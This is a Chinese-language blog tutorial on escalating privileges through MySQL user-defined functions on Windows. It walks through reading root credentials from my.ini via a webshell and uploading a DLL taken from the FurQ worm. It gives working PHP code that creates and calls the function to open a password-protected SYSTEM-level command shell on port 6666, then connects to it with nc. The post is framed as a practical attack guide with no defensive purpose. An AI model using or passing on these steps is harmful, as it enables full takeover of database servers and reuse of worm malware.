mysql自定义函数:MYSQL利用自定义函数提升权限

前不久网上公开了个MySQL Func漏洞,讲是使用MySQL创建个自定义,然后通过这个来攻击服务器最早看到相关报道是在o-otik上,但是公布是针对Unix系统Exploit,并且成功率也不是很高.而近期,国内有高手放出针对Win系统相关文章,于是我马上找来和朋友同研究.
其实我们早就能想到.当我们在对MSSQL\Oracle数据库进行攻击时候,得到了最数据库中高权限帐户,往往都是执行特殊扩展过程或者来进行攻击比如MSSQL有Xp_cmdshell,Oracle可以通过Msvcrt.dll来创建个特殊.而我们却始终没有想到,作为流行数据库软件Software的MySQL,也是可以进行创建.由此看来,MySQL这个漏洞不应称为漏洞而仅仅是个技术而已.
废话堆过后,我们来了解下如何在MySQL里创建吧.这比如何利用重要许多,只要了解了原理,运用就能更加灵活,而且可以和其他思想融会贯通.
MySQL中创建语句为:
Create Function FunctionName Returns [String|Integer|Real] Soname 'C:\function.dll';
其中FunctionName指名称,C:\Function.DLL指DLL,而名正是DLL中名称.不过这里需要我们注意是,如果我们需要MySQL可以在的中附带个参数话,那么就要符合UDF形式编写规则,具体可以查看MySQL手册第14节:为MySQL增加新.而其中STRING,INTEGET,REAL是执行后所返回形式.当然,我们大可不必遵循UDF形式编写,其实如果我们中使用个我们要执行代码,而不使用参数,样可以达到攻击效果,比如说("command.com")等等.网上现在以此漏洞进行攻击FurQ蠕虫就是个不使用UDF格式例子.但是注意,这个创建语句必须要求我们所用MySQL帐户有对mysql这个数据库写权限,否则无法正常使用.
好了.了解了原理的后,我们来实战下如何使用MySQL提升权限.
在这里我们已经通过各式各样漏洞取得了个服务器WebShell,我这里演示是angelphpspy,PHP默认有连接MySQL,而ASP这些需要使用附加组件来进行连接,本身不具备条件.
般来说,在Win系统下面,很多软件Software都会在系统目录下创建个叫my.ini文件,其中包含了很敏感MySQL信息.而如果我们攻克主机没有非常好权限设置话,我们本身就具有对%windir%目录浏览权限,所以可以非常容易读取其中信息.而且非常多管理员通常是将root帐户和密码写进这个My.ini,所以旦我们读到root用户密码,就可以操纵整个MySQL数据库或者是服务器了.如图1.
得到MySQLRoot密码的后,我们需要上传我们DLL文件,我这里使用是从FurQ蠕虫中提取FurQ.dll.执行这个FurQ.DLL中Shell,系统将会在6666端口打开个带密码CMDShell,当然,密码我们已经知道,就是"FurQ"几个而已.不过我们现在还没有执行条件.需要通过MySQL将这个创建到MySQL中去.
现在,我们用PHPSPY新建个PHP文件.
输入以下内容
$link=mysql_connect('127.0.0.1','root','root');
(!$link) {
die('Could NOt Connect The Database!: ' . mysql_error);
};
echo "Good Boy.Connected!
";
//这里root\root就是从my.ini中读取用户和密码.
@mysql_select_db('mysql') or die ('use database mysql failed!');
echo "Yes You Did!
";
//这里选择使用MySQL数据库表.当然你也可以选择别,如test.
$query="Create Function Shell RETURNS INTEGER SONAME 'd:\\wwwroot\\FurQ.dll';";
@$result = mysql_query($query, $link) or die ("Create Function Failed!");
echo "Goddess...Successed!
";
//这两句话是关键,执行MySQL创建语句.将d:\wwwroot\furq.dll中Shell创建进MySQL中.使得MySQL可以执行这个Shell.
$query="Select Shell;";
@$result = mysql_query($query, $link) or die ("Execute failed");
echo "Congratulations! Connect The Port 6666 Of This Server VS password:FurQ
";
//这步是执行这个Shell,打开服务器6666端口.
?>
再次执行,全部正常返回.如图2.那么现在,我们就可以使用nc连接服务器6666端口,输入这个密码:FurQ.然后就返回CMDSHELL了..当然,由于继承是MySQL权限,而Win系统下MySQL默认以服务安装,也就是说,我们得到Shell为Local权限,可以为所欲为了,不过不要做坏事哦.呵呵.


  • 篇文章: 有关MSSQL占用过多内存问题

  • 篇文章: 守护进程概念和建立思路方法
  • Tags:  oracle自定义函数 sql自定义函数 excel自定义函数 mysql自定义函数

    延伸阅读

    最新评论

    发表评论